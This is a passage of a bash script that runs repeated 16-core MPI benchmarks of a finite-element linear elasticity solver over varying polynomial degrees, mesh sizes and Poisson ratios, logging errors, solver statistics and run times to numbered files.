Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"013_linE_nu_0.3_deg_2_h_6_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"013_linE_nu_0.3_deg_2_h_6_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"014_linE_nu_0.3_deg_2_h_6_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"014_linE_nu_0.3_deg_2_h_6_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"015_linE_nu_0.3_deg_2_h_10_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"015_linE_nu_0.3_deg_2_h_10_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"016_linE_nu_0.3_deg_2_h_10_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"016_linE_nu_0.3_deg_2_h_10_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 10 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"017_linE_nu_0.3_deg_2_h_10_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"017_linE_nu_0.3_deg_2_h_10_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"018_linE_nu_0.3_deg_2_h_11_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"018_linE_nu_0.3_deg_2_h_11_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"019_linE_nu_0.3_deg_2_h_11_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"019_linE_nu_0.3_deg_2_h_11_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 11 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"020_linE_nu_0.3_deg_2_h_11_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"020_linE_nu_0.3_deg_2_h_11_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"021_linE_nu_0.3_deg_2_h_18_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"021_linE_nu_0.3_deg_2_h_18_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"022_linE_nu_0.3_deg_2_h_18_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"022_linE_nu_0.3_deg_2_h_18_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 18 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 18,18,18 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"023_linE_nu_0.3_deg_2_h_18_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"023_linE_nu_0.3_deg_2_h_18_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"024_linE_nu_0.3_deg_2_h_19_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"024_linE_nu_0.3_deg_2_h_19_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"025_linE_nu_0.3_deg_2_h_19_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"025_linE_nu_0.3_deg_2_h_19_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 2 h: 19 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 19,19,19 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"026_linE_nu_0.3_deg_2_h_19_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"026_linE_nu_0.3_deg_2_h_19_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"027_linE_nu_0.3_deg_3_h_4_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"027_linE_nu_0.3_deg_3_h_4_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"028_linE_nu_0.3_deg_3_h_4_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"028_linE_nu_0.3_deg_3_h_4_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 4 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"029_linE_nu_0.3_deg_3_h_4_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"029_linE_nu_0.3_deg_3_h_4_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"030_linE_nu_0.3_deg_3_h_5_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"030_linE_nu_0.3_deg_3_h_5_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"031_linE_nu_0.3_deg_3_h_5_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"031_linE_nu_0.3_deg_3_h_5_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 5 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"032_linE_nu_0.3_deg_3_h_5_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"032_linE_nu_0.3_deg_3_h_5_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"033_linE_nu_0.3_deg_3_h_6_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"033_linE_nu_0.3_deg_3_h_6_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"034_linE_nu_0.3_deg_3_h_6_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"034_linE_nu_0.3_deg_3_h_6_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 6 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"035_linE_nu_0.3_deg_3_h_6_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"035_linE_nu_0.3_deg_3_h_6_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"036_linE_nu_0.3_deg_3_h_7_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"036_linE_nu_0.3_deg_3_h_7_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"037_linE_nu_0.3_deg_3_h_7_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"037_linE_nu_0.3_deg_3_h_7_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 3 h: 7 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"038_linE_nu_0.3_deg_3_h_7_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"038_linE_nu_0.3_deg_3_h_7_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"039_linE_nu_0.3_deg_4_h_2_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"039_linE_nu_0.3_deg_4_h_2_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"040_linE_nu_0.3_deg_4_h_2_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"040_linE_nu_0.3_deg_4_h_2_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 2 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 2,2,2 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"041_linE_nu_0.3_deg_4_h_2_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"041_linE_nu_0.3_deg_4_h_2_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"042_linE_nu_0.3_deg_4_h_3_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"042_linE_nu_0.3_deg_4_h_3_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"043_linE_nu_0.3_deg_4_h_3_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"043_linE_nu_0.3_deg_4_h_3_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 3 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"044_linE_nu_0.3_deg_4_h_3_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"044_linE_nu_0.3_deg_4_h_3_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"045_linE_nu_0.3_deg_4_h_4_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"045_linE_nu_0.3_deg_4_h_4_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"046_linE_nu_0.3_deg_4_h_4_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"046_linE_nu_0.3_deg_4_h_4_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 4 h: 4 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"047_linE_nu_0.3_deg_4_h_4_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"047_linE_nu_0.3_deg_4_h_4_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"048_linE_nu_0.49_deg_2_h_13_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"048_linE_nu_0.49_deg_2_h_13_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"049_linE_nu_0.49_deg_2_h_13_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"049_linE_nu_0.49_deg_2_h_13_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 13 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"050_linE_nu_0.49_deg_2_h_13_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"050_linE_nu_0.49_deg_2_h_13_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"051_linE_nu_0.49_deg_2_h_22_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"051_linE_nu_0.49_deg_2_h_22_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"052_linE_nu_0.49_deg_2_h_22_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"052_linE_nu_0.49_deg_2_h_22_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"053_linE_nu_0.49_deg_2_h_22_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"053_linE_nu_0.49_deg_2_h_22_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"054_linE_nu_0.49_deg_2_h_23_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"054_linE_nu_0.49_deg_2_h_23_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"055_linE_nu_0.49_deg_2_h_23_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"055_linE_nu_0.49_deg_2_h_23_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"056_linE_nu_0.49_deg_2_h_23_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"056_linE_nu_0.49_deg_2_h_23_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global 